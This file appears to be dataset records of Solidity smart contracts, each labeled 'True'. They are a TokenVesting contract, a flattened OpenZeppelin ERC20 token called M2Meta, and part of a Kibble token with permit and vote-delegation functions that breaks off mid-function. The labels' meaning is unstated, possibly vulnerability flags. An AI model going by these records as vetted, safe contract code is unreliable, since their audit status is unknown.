*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File: contracts\HLDVesting.sol
pragma solidity 0.6.12;
/**
* @title TokenVesting
* @dev A token holder contract that can release its token balance gradually like a
* typical vesting scheme, with a vesting period.
*/
contract TokenVesting {
// The vesting schedule is time-based (i.e. using block timestamps as opposed to e.g. block numbers), and is
// therefore sensitive to timestamp manipulation (which is something miners can do, to a certain degree). Therefore,
// it is recommended to avoid using short time durations (less than a minute).
// solhint-disable not-rely-on-time
using SafeMath for uint256;
event TokensReleased(address token, uint256 amount);
// beneficiary of tokens after they are released
address private immutable _beneficiary;
// Durations and timestamps are expressed in UNIX time, the same units as block.timestamp.
uint256 private immutable _start;
uint256 private immutable _duration;
// The amount of token can be released with the first release
uint256 private immutable _initialRelease;
mapping (address => uint256) private _released;
/**
* @dev Creates a vesting contract that vests its balance of any ERC20 token to the
* beneficiary, gradually in a linear fashion until start + duration. By then all
* of the balance will have vested.
* @param beneficiary address of the beneficiary to whom vested tokens are transferred
* @param start the time (as Unix time) at which point vesting starts
* @param duration duration in seconds of the period in which the tokens will vest
* @param initialRelease The amount of token can be released with the first release
*/
constructor (address beneficiary, uint256 start, uint256 duration, uint256 initialRelease) public {
require(beneficiary != address(0), "TokenVesting: beneficiary is the zero address");
require(duration > 0, "TokenVesting: duration is 0");
// solhint-disable-next-line max-line-length
require(start.add(duration) > block.timestamp, "TokenVesting: final time is before current time");
_beneficiary = beneficiary;
_duration = duration;
_start = start;
_initialRelease = initialRelease;
}
// Copied and modified Openzepplin TokenVesting contract:
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.0.0/contracts/drafts/TokenVesting.sol
/**
* @return the beneficiary of the tokens.
*/
function beneficiary() public view returns (address) {
return _beneficiary;
}
/**
* @return the start time of the token vesting.
*/
function start() public view returns (uint256) {
return _start;
}
/**
* @return the duration of the token vesting.
*/
function duration() public view returns (uint256) {
return _duration;
}
/**
* @return the initial release of the tokens.
*/
function initialRelease() public view returns (uint256) {
return _initialRelease;
}
/**
* @return the amount of the token released.
*/
function released(address token) public view returns (uint256) {
return _released[token];
}
/**
* @notice Transfers vested tokens to beneficiary.
* @param token ERC20 token which is being vested
*/
function release(IERC20 token) public {
require (msg.sender == _beneficiary, "The message sender is not beneficiary");
uint256 unreleased = _releasableAmount(token);
require(unreleased > 0, "TokenVesting: no tokens are due");
_released[address(token)] = _released[address(token)].add(unreleased);
token.transfer(_beneficiary, unreleased);
emit TokensReleased(address(token), unreleased);
}
/**
* @dev Calculates the amount that has already vested but hasn't been released yet.
* @param token ERC20 token which is being vested
*/
function _releasableAmount(IERC20 token) private view returns (uint256) {
return (_initialRelease.add(_vestedAmount(token))).sub(_released[address(token)]);
}
/**
* @dev Calculates the amount that has already vested.
* @param token ERC20 token which is being vested
*/
function _vestedAmount(IERC20 token) private view returns (uint256) {
uint256 currentBalance = token.balanceOf(address(this));
uint256 totalBalance = currentBalance.add(_released[address(token)]);
totalBalance = totalBalance.sub(_initialRelease);
if (block.timestamp >= _start.add(_duration)) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(_start)).div(_duration);
}
}
} | True | [
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|
// File: metacoin_flat.sol
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Burnable.sol)
pragma solidity ^0.8.0;
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
unchecked {
_approve(account, _msgSender(), currentAllowance - amount);
}
_burn(account, amount);
}
}
// File: metacoin.sol
pragma solidity ^0.8.2;
/// @custom:security-contact [email protected]
contract M is ERC20, ERC20Burnable, Ownable {
constructor() ERC20("M2Meta", "[M]") {
_mint(msg.sender, 2000000000000 * 10 ** decimals());
}
function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}
} | True | [
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102
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|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
import { SafeMath } from '@openzeppelin/contracts/utils/math/SafeMath.sol';
import { ERC20 } from './open-zeppelin/ERC20.sol';
import { IFTPAntiBot } from './interfaces/IFTPAntiBot.sol';
import { KibbleAccessControl } from './KibbleAccessControl.sol';
import { KibbleBase } from './KibbleBase.sol';
import { IUniswapV2Router02 } from './interfaces/IUniswapV2Router.sol';
import { IUniswapV2Factory } from './interfaces/IUniswapV2Factory.sol';
//
// `````
// `.-/+oosssssssoo+/:.`
// `:+syyso++/////////++osyyso:.
// .+yhs+/:::::::::::::::::::://oshy+.
// `/yhs/:::::://///////////////:::::/+ohy/`
// `+hy+:::://///++osso++++++++oo++////:::/+yh+.
// /dh+:::/++/+osyhhhhhs+/////+yhhhyyo++++/::/+yh+`
// .yms::/oo+++syhhhhhhhhs+////+yhhhhhhhhys++++/:/ohy-
// :dd+::oyo++++hhhhhhhhhhs+///+yhhhhhhhhhhho+++o+//+yh/
// /mh/:/ys+++//+hhhhhhhhhhs++++yhhhhhhhhhhhs+/++oso///sd+
// /mh::+ys++////+hhhhhhhhhhs+++yhhhhhhhhhhhs+////+oss+//sd+
// -dd/:+ys++/////+hhhhhhhhhhy++yhhhhhhhhhhhs+//////+osy+//yd:
// ym+:/yy+o//////+hhhhhhhhhhyoyhhhhhhhhhhhs+////////+sys+/+hh`
// :my::oh/o///////+hhhhhhhhhhyyhhhhhhhhhhho+//////////osho//sd+
// ym+:/ys++///////+hhhhhhhhhhhhhhhhhhhhhho+////////////syy+/+hh
// `dm::+d+o////////+hhhhhhhhhhhhhhhhhhhhho+/////////////ssh+//hd.
// .md::oh/o////////+hhhhhhhhhhhhhhhhhhhho+//////////////oyho//ym-
// .mh::oh/o////////+hhhhhhhhhhhhhhhhhhhho+//////ydho////oyho//ym:
// .dd::od/o////////+hhhhhhhhhhhhhhhhhhhhho+////+mmms////osh+//ym.
// hm/:/hoo////////+hhhhhhhhhhhhhhhhhhhhhhs+////+o+/////ssy+/+hh`
// /ms::sh/o///////+hhhhhhhhhhhhhhhhhhhhhhhs+//////////+sho//sdo
// `hm/:/yo++//////+hhhhhhhhhhyshhhhhhhhhhhhs+/////////ssy+/+hd.
// :mh::+h+++/////+hhhhhhhhhhy+ohhhhhhhhhhhhs+///////osy+//sd+
// oms::oho++////+hhhhhhhhhhy++oyhhhhhhhhhhhy+////+osy+//ohs
// `oms::+yo++///+hhhhhhhhhhs+++oyhhhhhhhhhhhy+//+oss+//ohs`
// omy/:/ss+++/+hhhhhhhhhhs+//+oyhhhhhhhhhhhy++oo+///oho`
// :dd+::+ss++oyhhhhhhhhhs+////+yhhhhhhhhhyo+o+///+sh/
// .sdy/::+oo++osyhhhhhhs+/////+yhhhhyyo+++/:://oys.
// -ydy/::::///++osyyys//////++sso++///::://+yy:
// -ods/::::::::///////////////::::::://oys-
// `/syo//:::::-------------::::///oys/`
// `:+sss+/:::::::::::::///+osso:`
// `.:+oooosoooooooooo+:-`
// `````.`````
//
/// @notice Kibble the main utility token of the Sanshu eco-system.
contract Kibble is KibbleBase {
using SafeMath for uint256;
/// erc20 meta
string internal constant NAME = 'Kibble Token';
string internal constant SYMBOL = 'KIBBLE';
uint8 internal constant DECIMALS = 18;
uint256 internal constant MIN_TOTAL_SUPPLY = 250 * 10**6 * 10**18;
bytes public constant EIP712_REVISION = bytes('1');
bytes32 internal constant EIP712_DOMAIN =
keccak256(
'EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'
);
bytes32 public constant PERMIT_TYPEHASH =
keccak256(
'Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)'
);
bytes32 public DOMAIN_SEPARATOR =
keccak256(
abi.encode(
EIP712_DOMAIN,
keccak256(bytes(NAME)),
keccak256(EIP712_REVISION),
block.chainid,
address(this)
)
);
/// max supply
uint256 public maxSupply = 0;
/// anti-bot state
IFTPAntiBot private antiBot;
bool public antiBotEnabled = false;
/// uniswap state
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
/// track pair addresses so that transfers can be subject to
/// fees for swaps
mapping(address => bool) public tokenPairs;
/// track sell contracts
mapping(address => bool) public sellContracts;
/// fee state
bool public feeEnabled = false;
uint256 public feeResetCooldown = 1 days;
address public redistributionPolicyAddress;
mapping(address => bool) public excluded;
mapping(address => uint256) private _firstSell;
mapping(address => uint256) private _sellCount;
uint256 private _taxFee = 5;
uint256 private _feeMultiplier = 5;
/// governance state
mapping(address => uint256) public _nonces;
mapping(address => uint256) internal _votingCheckpointsCounts;
mapping(address => address) internal _votingDelegates;
mapping(address => mapping(uint256 => Checkpoint)) public votingCheckpoints;
mapping(address => mapping(uint256 => Checkpoint))
internal _propositionPowerCheckpoints;
mapping(address => uint256) internal _propositionPowerCheckpointsCounts;
mapping(address => address) internal _propositionPowerDelegates;
// events
event LogTokenPair(address pair, bool included);
event LogSellContracts(address targetAddress, bool included);
event LogExcluded(address targetAddress, bool included);
/// @notice main constructor for token
/// @param _antiBotAddress address for anti-bot protection https://antibot.fairtokenproject.com/
/// @param _uniswapRouterAddress address for uniswap router
constructor(address _antiBotAddress, address _uniswapRouterAddress)
ERC20(NAME, SYMBOL)
{
/// set up antiBot
IFTPAntiBot _antiBot = IFTPAntiBot(_antiBotAddress);
antiBot = _antiBot;
/// initiate new pair for KIBBLE/WETH
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
_uniswapRouterAddress
);
address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = _uniswapV2Pair;
_setTrackedPair(_uniswapV2Pair, true);
_setSellContracts(_uniswapRouterAddress, true);
}
/// @notice sets max supply
/// @param _amount The amount that is max supply
function setMaxSupply(uint256 _amount) external virtual onlyOwner {
require(_amount > _totalSupply, "Kibble: current supply is greater than inputed amount");
require(maxSupply == 0, "Kibble: cannot set max supply again");
maxSupply = _amount;
}
/// @notice mints an amount to an account only can be ran by minter
/// @param _recipient The address to mint to
/// @param _amount The amount to mint
function mint(address _recipient, uint256 _amount)
external
virtual
onlyMinter
{
require(
maxSupply == 0 || maxSupply > _totalSupply,
'Kibble: Max supply reached'
);
uint256 safeAmount = maxSupply == 0 || _amount + _totalSupply <= maxSupply
? _amount
: maxSupply - _totalSupply;
_mint(_recipient, safeAmount);
}
/// @notice burns an amount to an account only can be ran by burner
/// @param _sender The address to burn from
/// @param _amount The amount to burn
function burn(address _sender, uint256 _amount) external virtual onlyBurner {
_burn(_sender, _amount);
}
/// @notice implements the permit function
/// @param _owner the owner of the funds
/// @param _spender the _spender
/// @param _value the amount
/// @param _deadline the deadline timestamp, type(uint256).max for no deadline
/// @param _v signature param
/// @param _r signature param
/// @param _s signature param
function permit(
address _owner,
address _spender,
uint256 _value,
uint256 _deadline,
uint8 _v,
bytes32 _r,
bytes32 _s
) external {
require(_owner != address(0), 'Kibble: owner invalid');
require(block.timestamp <= _deadline, 'Kibble: invalid deadline');
uint256 currentValidNonce = _nonces[_owner];
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(
abi.encode(
PERMIT_TYPEHASH,
_owner,
_spender,
_value,
currentValidNonce,
_deadline
)
)
)
);
require(
_owner == ecrecover(digest, _v, _r, _s),
'Kibble: invalid signature'
);
_nonces[_owner] = currentValidNonce.add(1);
_approve(_owner, _spender, _value);
}
/// @notice Delegates power from signatory to `delegatee`
/// @param _delegatee The address to delegate votes to
/// @param _power the power of delegation
/// @param _nonce The contract state required to match the signature
/// @param _expiry The time at which to expire the signature
/// @param _v The recovery byte of the signature
/// @param _r Half of the ECDSA signature pair
/// @param _s Half of the ECDSA signature pair
function delegateByPowerBySig(
address _delegatee,
DelegationPower _power,
uint256 _nonce,
uint256 _expiry,
uint8 _v,
bytes32 _r,
bytes32 _s
) external {
bytes32 structHash = keccak256(
abi.encode(
DELEGATE_BY_POWER_TYPEHASH,
_delegatee,
uint256(_power),
_nonce,
_expiry
)
);
bytes32 digest = keccak256(
abi.encodePacked('\x19\x01', DOMAIN_SEPARATOR, structHash)
);
address signatory = ecrecover(digest, _v, _r, _s);
require(
signatory != address(0),
'Kibble: delegateByPowerBySig: invalid signature'
);
require(
_nonce == _nonces[signatory]++,
'Kibble: delegateByPowerBySig: invalid nonce'
);
require(
block.timestamp <= _expiry,
'Kibble: delegateByPowerBySig: invalid expiration'
);
_delegateByPower(signatory, _delegatee, _power);
}
/// @notice Delegates power from signatory to `_delegatee`
/// @param _delegatee The address to delegate votes to
/// @param _nonce The contract state required to match the signature
/// @param _expiry The time at which to expire the signature
/// @param _v The recovery byte of the signature
/// @param _r Half of the ECDSA signature pair
/// @param _s Half of the ECDSA signature pair
function delegateBySig(
address _delegatee,
uint256 _nonce,
uint256 _expiry,
uint8 _v,
bytes32 _r,
bytes32 _s
) external {
bytes32 structHash = keccak256(
abi.encode(DELEGATE_TYPEHASH, _delegatee, _nonce, _expiry)
);
bytes32 digest = keccak256(
abi.encodePacked('\x19\x01', DOMAIN_SEPARATOR, structHash)
);
address signatory = ecrecover(digest, _v, _r, _s);
require(
signatory != address(0),
'Kibble: delegateByPowerBySig: invalid signature'
);
require(
_nonce == _nonces[signatory]++,
'Kibble: delegateByPowerBySig: invalid nonce'
);
require(
block.timestamp <= _expiry,
'Kibble: delegateByPowerBySig: invalid expiration'
);
_delegateByPower(signatory, _delegatee, DelegationPower.Voting);
